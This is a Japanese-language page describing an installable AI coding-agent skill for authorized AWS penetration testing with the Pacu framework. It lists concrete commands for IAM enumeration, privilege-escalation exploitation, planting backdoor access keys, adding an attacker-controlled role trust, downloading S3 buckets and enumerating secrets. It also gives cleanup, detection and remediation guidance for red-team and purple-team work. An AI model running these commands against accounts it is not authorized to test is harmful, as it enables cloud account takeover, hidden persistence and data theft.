exploiting-aws-with-pacu について
このスキルは、Pacuを使ったAWSアカウントの許可済みペネトレーションテストを案内します。IAMの列挙、権限昇格経路の分析、永続化の検証、テスト痕跡の削除を扱います。
主な機能
- 01AWS認証情報とセッションの管理
- 02IAM権限とクラウドリソースの列挙
- 03権限昇格経路のスキャンと検証
- 04キーとロールによる永続化の実演
- 05結果の出力と痕跡の削除
活用シーン
- 01漏えいしたIAM認証情報の影響評価
- 02許可済みAWSレッドチーム演習
- 03攻撃テレメトリーによるクラウド検知の検証
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill exploiting-aws-with-pacuインストール後、Claude Code で/exploiting-aws-with-pacuを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdstandards.mdscripts/agent.py詳細
Pacu による AWS の悪用
法的通知: このスキルは、許可を得た侵入テストおよび教育目的のみを想定しています。Pacu は稼働中の AWS アカウントに対して、能動的な列挙、権限昇格、永続化、バックドア設置を行います。実行してよいのは、自身が所有しているアカウント、またはテスト実施について明示的な書面による許可(スコープ / Rules of Engagement)を得ているアカウントに限ってください。多くのモジュールは、新しい IAM ユーザー、アクセスキー、ポリシーなど、永続的な変更を作成します。すべてを追跡し、削除してください。許可のない使用は、CFAA などの同等の法律に違反する違法行為です。
概要
Pacu は Rhino Security Labs が開発しているオープンソースの AWS 悪用フレームワークです。クラウドの侵入テストにおける Metasploit に相当するもので、ターゲットセッションを管理し、AWS アカウントを列挙し、権限昇格の経路を特定し、永続化/バックドア設置/情報持ち出しモジュールを実行する、モジュール型の Python コンソールです。すべては、列挙したリソースを記録するローカルの SQLite データベースで支えられており、モジュール同士が互いの調査結果を連鎖的に利用できます。
Pacu でのエンゲージメントは、一定の流れに沿って進みます。名前付きのセッションを作成し、set_keys を使うか ~/.aws/credentials からインポートして AWS キーを読み込み、whoami で ID を確認した後、IAM およびアカウント内の他のリソースを列挙します。主要なワークフローは iam__enum_permissions の後に iam__privesc_scan を実行する流れです。これは、侵害された プリンシパルを、既知の AWS IAM 権限昇格プリミティブ約 20 種(例: iam:CreatePolicyVersion、iam:AttachUserPolicy、iam:PassRole + lambda:CreateFunction、sts:AssumeRole)と照合し、自動的に悪用することもできます。iam__backdoor_users_keys などの永続化モジュールは既存ユーザーに 2 つ目のアクセスキーを発行し、iam__backdoor_assume_role はロールに信頼関係を追加して、攻撃者が後からそのロールを引き受けられるようにします。
このスキルでは、Pacu のインストール、セッションと認証情報の管理、IAM の列挙、自動化された権限昇格のスキャンと悪用、永続化/バックドア設置、およびデータアクセスを扱います。各コマンドとモジュール名は、Rhino Security Labs のプロジェクトで検証済みです。出典: github.com/RhinoSecurityLabs/pacu。
使用するタイミング
- 許可を得た AWS クラウドの侵入テストまたはレッドチームのエンゲージメントを実施するとき
- 侵害された単一の IAM 認証情報の影響範囲を評価するとき(権限昇格スキャン)
- 是正を促すために、永続化/バックドアの手法を実証するとき
- クラウドの検知を検証するための、現実的な攻撃者のテレメトリを生成するとき(パープルチーム)
- 不慣れな AWS アカウントの IAM、EC2、S3、Lambda の露出を把握するとき
前提条件
- Pacu がインストールされていること:
python3 -m pip install -U pip python3 -m pip install -U pacu # then run: pacu # or, preferred on Kali, with pipx: pipx install git+https://github.com/RhinoSecurityLabs/pacu.git # or Docker: docker run -it rhinosecuritylabs/pacu:latest - スコープ内のターゲットプリンシパルの AWS アクセスキー/シークレット(任意でセッショントークン)
- スコープを定義した、署名済みの許可文書/Rules of Engagement
- Python 3.9 以上、および AWS API エンドポイントへの送信 HTTPS 通信
- 検証用の AWS CLI(
aws sts get-caller-identity)
目標
- Pacu をインストールし、分離されたエンゲージメント用セッションを作成する
- ターゲットの AWS 認証情報を読み込み、検証する
- 侵害されたプリンシパルの IAM 権限を列挙する
- 権限昇格の経路を特定し、(許可されている場合は)悪用する
- バックドアのアクセスキーとロールの信頼関係を通じて永続化を確立する
- EC2、S3、Secrets Manager のデータを列挙し、アクセスする
- 報告用に調査結果をエクスポートし、すべてのアーティファクトが削除されていることを確認する
MITRE ATT&CK との対応
| ID | 名称 | このスキルでの用途 |
|---|---|---|
| T1078.004 | Valid Accounts: Cloud Accounts | Pacu は正規の AWS プリンシパルとして動作し、その権限を悪用する |
| T1098.001 | Account Manipulation: Additional Cloud Credentials | iam__backdoor_users_keys が 2 つ目のアクセスキーを発行する |
| T1098.003 | Account Manipulation: Additional Cloud Roles | iam__backdoor_assume_role、またはロールポリシーの変更による権限昇格 |
| T1580 | Cloud Infrastructure Discovery | ec2__enum、iam__enum_users_roles_policies_groups |
| T1530 | Data from Cloud Storage | s3__download_bucket が S3 オブジェクトを取得する |
| T1552.005 | Unsecured Credentials: Cloud Instance Metadata API | EC2 IMDS の認証情報の悪用 |
ワークフロー
1. Pacu を起動し、セッションを作成する
pacu
# In the Pacu console:
Pacu> set_keys
# key alias : engagement-target
# access key : AKIA...
# secret key : ...
# session tok: (optional)
2. 操作中のIDを確認する
Pacu> whoami
Pacu> run aws sts get-caller-identity # or, outside Pacu: aws sts get-caller-identity
3. IAMエンティティと侵害されたプリンシパルの権限を列挙する
Pacu> run iam__enum_users_roles_policies_groups
Pacu> run iam__enum_permissions
Pacu> data IAM # review what was collected into the session DB
4. 権限昇格の経路をスキャンする
iam__privesc_scan は、プリンシパルを既知のAWS権限昇格プリミティブと照合し、実行可能な方法を一覧表示します。
Pacu> run iam__privesc_scan
# To attempt automated exploitation of a discovered method:
Pacu> run iam__privesc_scan --offline # analyze without making changes
5. バックドア用アクセスキーで永続化を確立する
Pacu> run iam__backdoor_users_keys --usernames target-user
# Add an assumable-role trust for long-term access:
Pacu> run iam__backdoor_assume_role --role-names target-role --user-arns arn:aws:iam::111122223333:user/attacker
6. コンピュートとストレージを列挙する
Pacu> run ec2__enum
Pacu> run s3__download_bucket --names target-bucket
Pacu> data S3
7. シークレットを収集する
Pacu> run secrets__enum
8. 非対話型の実行(CI/スクリプト)
Pacu は、シェルからのワンショットでのモジュール実行に対応しています。
pacu --session engagement --module-name iam__enum_users_roles_policies_groups --exec
pacu --session engagement --module-name s3__download_bucket \
--module-args "--names target-bucket" --exec
9. 調査結果のエクスポートとクリーンアップ
Pacu> data all > /dev/stdout # review collected data
# Manually remove every backdoor created (record ARNs/key IDs first):
aws iam delete-access-key --user-name target-user --access-key-id AKIA_BACKDOOR
aws iam update-assume-role-policy --role-name target-role --policy-document file://original-trust.json
列挙から権限昇格までのフローを非対話的に実行するには、scripts/agent.py を参照してください。
ツールとリソース
| リソース | 目的 | リンク |
|---|---|---|
| Pacu GitHub | ソース、モジュール、Wiki | https://github.com/RhinoSecurityLabs/pacu |
| Pacu モジュール一覧 | モジュールごとのドキュメント | https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details |
| Rhino AWS 権限昇格の調査 | iam__privesc_scan がチェックする権限昇格プリミティブ | https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/ |
| AWS IAM ドキュメント | 権限とポリシーのリファレンス | https://docs.aws.amazon.com/IAM/latest/UserGuide/ |
| CloudGoat | 安全に練習できる脆弱なAWS検証環境 | https://github.com/RhinoSecurityLabs/cloudgoat |
OPSECと検知に関する考慮事項
Pacu のモジュールは目立ちやすく、痕跡が残りやすいため、オペレーターは検知とクリーンアップの両方を計画しておく必要があります。
iam__enum_permissionsとiam__enum_users_roles_policies_groupsは、CloudTrail や GuardDuty で確認できるiam:List*/iam:Get*呼び出しを大量に発生させます(Discovery:IAMUser/AnomalousBehavior)。- オフラインモード以外で実行した
iam__privesc_scanは、状態を変更する呼び出し(iam:CreatePolicyVersion、iam:AttachUserPolicy)を行う可能性があります。分析のみを行う場合は--offlineを使用してください。 iam__backdoor_users_keysはiam:CreateAccessKeyを、iam__backdoor_assume_roleはiam:UpdateAssumeRolePolicyをトリガーします。どちらも防御側がアラートを上げる、検知されやすい永続化の指標です。- 作成したすべての成果物のID(アクセスキー、ポリシーバージョン、ロールの信頼関係の変更)を記録し、それぞれを元に戻せるようにしてください。放置されたバックドアは、OPSECの失敗であると同時に、顧客にとって現実的なリスクとなります。
推奨する防御的対策
| 検出事項 | 修復策 |
|---|---|
| 過剰な権限を持つIAMプリンシパル(権限昇格の経路) | 最小権限の原則を適用し、iam:PassRole を条件付きで範囲限定する |
非管理者ロールに iam:CreatePolicyVersion/SetDefaultPolicyVersion が許可されている | 非管理者ロールから削除する |
| 長期間有効なアクセスキー | キーのローテーションを強制し、ロールや短期のSTS認証情報を優先する |
| キー作成に対する検知がない | CloudTrail で CreateAccessKey/UpdateAssumeRolePolicy のアラートを設定する |
主要モジュールのリファレンス
| モジュール | 目的 |
|---|---|
iam__enum_users_roles_policies_groups | すべてのIAMプリンシパルとポリシーを列挙する |
iam__enum_permissions | 現在のプリンシパルの実効権限を解決する |
iam__privesc_scan | 権限昇格の経路を特定する(必要に応じて悪用も行う) |
iam__backdoor_users_keys | ユーザーにバックドア用アクセスキーを作成する |
iam__backdoor_assume_role | ロールに攻撃者が管理する信頼関係を追加する |
ec2__enum | EC2インスタンス、ボリューム、スナップショットを列挙する |
s3__download_bucket | S3バケットからオブジェクトをダウンロードする |
secrets__enum | Secrets Manager/SSMパラメータを列挙する |
検証基準
- Pacu がインストールされ、コンソールが起動する
- エンゲージメント用セッションが作成され、キーが読み込まれている
-
whoami/sts get-caller-identityで ID が確認されている - IAMエンティティと現在のプリンシパルの権限が列挙されている
-
iam__privesc_scanを実行し、実行可能な経路が文書化されている - 永続化モジュールの動作が(許可された範囲内で)実証されている
- EC2/S3/シークレットの列挙が完了している
- 作成したすべてのバックドア(キー、ロールの信頼関係、ポリシー)が記録され、削除されている
- エンゲージメントレポート用に調査結果がエクスポートされている
- アカウント内に攻撃者の痕跡が残っていない